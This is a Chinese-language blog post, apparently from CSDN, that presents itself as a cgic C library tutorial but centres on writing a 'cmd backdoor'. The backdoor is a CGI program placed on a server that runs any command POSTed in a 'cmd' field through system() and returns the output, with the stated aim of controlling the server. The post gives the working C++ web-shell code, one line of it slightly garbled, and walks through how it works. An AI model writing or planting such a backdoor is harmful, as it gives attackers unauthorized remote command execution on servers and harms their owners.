C语言,后门程序,C语言CGI编程二 - 编写cmd后门

里面该说的都说的很清楚。今天我们来用它来做一个后门,将后门放在有执行cgi权限的服务器上,通过客户端POST命令到cgi上并执行,达到控制服务器的目的。

首先下载官网上的压缩包。解压里面有cgic.c和cgic.h,这是我们需要用到的文件。(另外两个c文件是演示用的,还有一个makefile是linux下使用的,在VS2010中我没有用到它)

从官方的文档和下载的cgictest.c可以看到,这个库里有main函数。因为一个程序只能有一个入口点函数,所以我们不能再定义main函数。这里,我们新建一个工程,将上面说的cgic.c和cgic.h拷贝到工程目录下,最好把cgic.c改成cgic.cpp,这样我们就能用C++的语法来写程序了。

再在工程中添加一个cgiMain.cpp的文件,我们将代码写在其中。我们这个程序只用写一个函数,cgiMain,再包含ccgi库的头文件就行了。

cgiMain我们尽可以把它想象成main函数,只不过名字不一样罢了,我们把自己的代码写进去。执行的时候也和main完全一样,以return 0;退出。

我的这个cmd后门的代码如下:

int cgiMain()

{

cgiHeaderContentType("text/html");

char szPost[256];

cgiFormString("cmd",szPost,sizeof(szPost));

string strRe,strComm = szPost;

strComm += ">01.tmp";

system(strComm.c_str());

ifstream file("01.tmp",ios::in);

while (getline(file,strRe))

{

cout<";

}

file.close();

remove("01.tmp");

return 0;

}

比较简陋,只是来演示一下cgic库的使用。

cgiHeaderContentType是输出html文件的头。我上一篇文章讲了在cgi需要输出内容时,需要先输出"Content-type:text/html\n\n",这个函数就是起到这个作用。大家看源代码也可以看到。

cgiFormString("cmd",szPost,sizeof(szPost));这个函数很重要。众所周知,POST或GET到的字符串是这样一个格式:a=xxxxxx&b=yyyyyy&c=112233。我们这个函数,就是获得每一个索引对应的值。

第一个参数是索引的名字,第二个参数是保存获取到的值的字符串,第三个值是字符串大小。比如我们获取到的是cmd=ipconfig,则通过索引“cmd”就能获取到值ipconfig。

原则上来说,获取到了值,也就是命令的内容“ipconfig”,我们就可以执行了。但是我用的system函数不能返回执行结果。所以我换个方式,将执行的结果放入一个临时文件,然后从文件中获取到执行结果并删除文件。这也就是我后面的代码做的工作。都是CPP的内容我就不细讲了,文件操作也可以使用C语言中的fopen、fgets,效果相同。

提一下,如果要把一个命令的输出内容放入文件,直接在命令后面加">xx.txt"就行,就输出到了xx.txt文件中(绝对路径也行)。

ccgi是一个优秀的C语言CGI库,英语不好的同学可以结合我附件中的doc,里面有各个函数的中文介绍,包括设置cookie、上传文件等等功能。所以说很强大。

演示一下效果:

在本地html(本地客户端请大家自己思考着自己写)中输入命令:

1167d99bad0e82a514b644f1e467d15e.png

点击提交后返回结果:

a7410059283f65bec42f2791b34aca9a.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值